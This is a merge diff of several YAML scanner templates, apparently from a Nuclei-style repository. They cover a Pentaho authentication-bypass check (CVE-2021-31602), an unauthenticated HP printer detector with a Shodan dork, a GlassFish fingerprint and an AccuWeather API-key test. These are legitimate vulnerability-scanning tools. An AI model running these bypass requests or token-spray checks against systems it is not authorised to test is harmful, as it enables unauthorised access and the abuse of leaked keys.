Merge branch 'master' into master

cves/2021/CVE-2021-31602.yaml

@@ -1,39 +1,39 @@
-id: CVE-2021-31602
-
-info:
-  name: Pentaho <= 9.1 Authentication Bypass of Spring APIs
-  author: pussycat0x
-  severity: high
-  description: "An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.\n\n"
-  reference:
-    - https://seclists.org/fulldisclosure/2021/Nov/13
-    - https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software
-    - https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf
-  metadata:
-    shodan-query: 'Pentaho'
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.50
-    cve-id: CVE-2021-31602
-    cwe-id: CWE-863
-  tags: cve,cve2021,pentaho,auth-bypass
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js"
-      - "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"
-
-    stop-at-first-match: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - '<roleList>'
-          - '<roles>Anonymous</roles>'
-        condition: and
-
-      - type: status
-        status:
-          - 200
+id: CVE-2021-31602
+
+info:
+  name: Pentaho <= 9.1 Authentication Bypass of Spring APIs
+  author: pussycat0x
+  severity: high
+  description: An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
+  reference:
+    - https://seclists.org/fulldisclosure/2021/Nov/13
+    - https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software
+    - https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf
+  metadata:
+    shodan-query: 'Pentaho'
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2021-31602
+    cwe-id: CWE-863
+  tags: cve,cve2021,pentaho,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js"
+      - "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<roleList>'
+          - '<roles>Anonymous</roles>'
+        condition: and
+
+      - type: status
+        status:
+          - 200

misconfiguration/hp/unauthorized-hp-officepro-printer.yaml

@@ -0,0 +1,24 @@
+id: unauthorized-hp-officepro-printer
+
+info:
+  name: Unauthorized HP office pro printer
+  author: pussycat0x
+  severity: high
+  metadata:
+    shodan-dork: http.title:"Hp Officejet pro"
+  tags: hp,iot,unauth
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '<title>HP Officejet Pro([ 0-9A-Za-z]+)<\/title>'
+
+      - type: status
+        status:
+          - 200

technologies/fingerprinthub-web-fingerprints.yaml

@@ -4433,6 +4433,12 @@ requests:
         words:
           - /gitweb.js
 
+      - type: word
+        part: header
+        name: glassfish
+        words:
+          - "GlassFish Server Open Source Edition"
+
       - type: word
         name: globalsign-cert
         words:
@@ -15122,4 +15128,4 @@ requests:
       - type: word
         name: zzzcms
         words:
-          - Powered by <a href='http://zzzcms.com'>ZZZcms</a>
+          - Powered by <a href='http://zzzcms.com'>ZZZcms</a>

token-spray/api-accuweather.yaml

@@ -0,0 +1,22 @@
+id: api-accuweather
+
+info:
+  name: AccuWeather API Test
+  author: zzeitlin
+  severity: info
+  reference: https://developer.accuweather.com/apis
+  tags: token-spray,accuweather
+
+requests:
+  - method: GET
+    path:
+      - "http://api.accuweather.com/locations/v1/search?language=en-US&apikey={{token}}&q=Athens,%20Greece"
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"Version"'
+          - '"LocalizedName"'
+          - '"DataSets"'
+        condition: and